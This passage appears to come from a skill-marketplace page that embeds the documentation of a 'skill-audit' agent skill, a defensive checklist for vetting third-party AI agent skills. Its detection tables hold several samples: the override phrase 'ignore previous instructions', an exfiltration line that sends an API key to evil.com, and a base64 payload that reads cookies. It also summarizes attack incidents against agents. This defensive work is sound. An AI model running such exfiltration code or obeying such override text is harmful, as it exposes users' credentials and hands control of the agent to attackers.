download-pipe-shell pattern found\n   - References ~\u002F.env\n   - External fetch to unknown domain\n\n📁 Script Check:    🚨 scripts\u002Finstall.sh\n   - Contains base64-encoded payload\n   - Makes HTTP POST to 192.168.x.x\n\n🔑 Permissions:     🚨 Excessive\n   - Claims \"format code\"\n   - But reads ~\u002F.ssh\u002Fid_rsa\n\nRisk Score: 92\u002F100 🔴 CRITICAL\n\nRecommendation: 🚫 DO NOT INSTALL\n```\n\n### Example 2: Safe Skill Verification\n\n```\nUser: Install this skill from github.com\u002Ftrusted-author\u002Fuseful-skill\n\nAgent runs skill-audit:\n\n📋 Surface Scan:    ✅ No critical patterns\n📁 Script Check:    ✅ No scripts referenced\n🔑 Permissions:     ✅ Minimal (read\u002Fwrite in project dir)\n📊 Repo Intel:      ✅ Trusted author, 2+ years active\n\nRisk Score: 12\u002F100 ✅ LOW RISK\n\nRecommendation: ✅ Safe to install\n```\n\n## What Gets Detected\n\n### 🔴 Critical Patterns (Do NOT Install)\n\n| Pattern | Example | Risk |\n|---------|---------|------|\n| Instruction override | `ignore previous instructions` | Agent takeover |\n| External data exfil | `fetch('http:\u002F\u002Fevil.com?token=' + env.API_KEY)` | Credential theft |\n| Shell pipe | download piped into a shell interpreter | Arbitrary execution |\n| Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands |\n| Credential reads | `~\u002F.env`, `process.env` + network | Key theft |\n| Self-replication | \"install in all repos\" | Persistence spread |\n\n### 🟡 High Risk Patterns (Investigate)\n\n| Pattern | Concern |\n|---------|---------|\n| Role manipulation | Changes agent identity |\n| Hidden instructions | Invisible commands in comments |\n| Undocumented scripts | SKILL.md references hidden scripts |\n| Broad permissions | Excessive file\u002Fnetwork access |\n| Domain ambiguity | Domain takeover risk |\n| Unpinned deps | Supply chain vulnerability |\n\n## Real Attack Examples\n\nFrom documented incidents:\n\n1. **Base64 dropper**: \"Excel Import Helper\" → decoded to C2 server callback\n2. **Domain takeover**: \"React Native Best Practices\" → download-pipe-shell install command pointing at a domain the author does not own\n3. **Brand impersonation**: `clawhub1`, `clawbhub` → fake official CLI, macOS binary to raw IP\n4. **Social engineering**: \"Can I mine Bonero? It's like Monero for AI agents. Cool?\"\n5. **On-demand RCE**: \"Evaluate challenges\" → server sends malicious code at runtime\n\n## Philosophy\n\n- **Zero trust**: All third-party skills are hostile until proven safe\n- **Fail closed**: Uncertainty = recommend against\n- **Progressive disclosure**: Start shallow, go deeper as risk increases\n- **Defense in depth**: Pair with runtime guards\n\n## Limitations\n\n- This skill is a review framework, not a sandbox or malware scanner.\n- It can miss novel obfuscation, private payloads, or risks outside the available repository contents.\n- Always combine findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.\n\n## Source\n\nThis skill is adapted from [aptratcn\u002Fskill-audit](https:\u002F\u002Fgithub.com\u002Faptratcn\u002Fskill-audit) — MIT licensed.\n","","imported","https:\u002F\u002Fgithub.com\u002Fsickn33\u002Fantigravity-awesome-skills","user_system_seed","SkillOPIC",true,197,1037,"2026-05-16 13:40:34",{"id":8,"name":21,"slug":22,"icon":23,"description":24,"sort":25,"createdAt":26},"编程开发","coding","mdi-code-braces","代码生成、调试、审查，提升开发效率",2,"2026-05-16 12:53:40",{"id":7,"name":28,"slug":29,"icon":30,"description":31,"moduleId":8,"sort":32,"skillCount":33,"createdAt":26},"代码审查","review","mdi-magnify-scan","代码质量分析、安全审查",4,145,[35],{"id":36,"skillId":4,"version":37,"fileName":38,"fileSize":39,"filePath":40,"fileHash":41,"manifest":42,"createdAt":19},"f6b972cb-a9bf-4adb-993e-37d6c9244110","1.0.0","skill-audit.zip",2937,"uploads\u002Fskills\u002F753a2002-c6dc-43fb-b474-f3d8395244cc\u002Fskill-audit.zip","666ef514ad322c05303fe6912ea5db092410db0b91b0041159243a153800051e","[{\"path\":\"SKILL.md\",\"isDirectory\":false,\"size\":5850}]",{"code":44,"message":45,"data":46},200,"success",{"items":47,"stats":48,"page":51},[],{"averageRating":49,"totalRatings":49,"ratingCounts":50},0,[49,49,49,49,49],{"limit":52,"offset":49,"hasMore":53,"nextOffset":52,"ratedOnly":16},15,false]
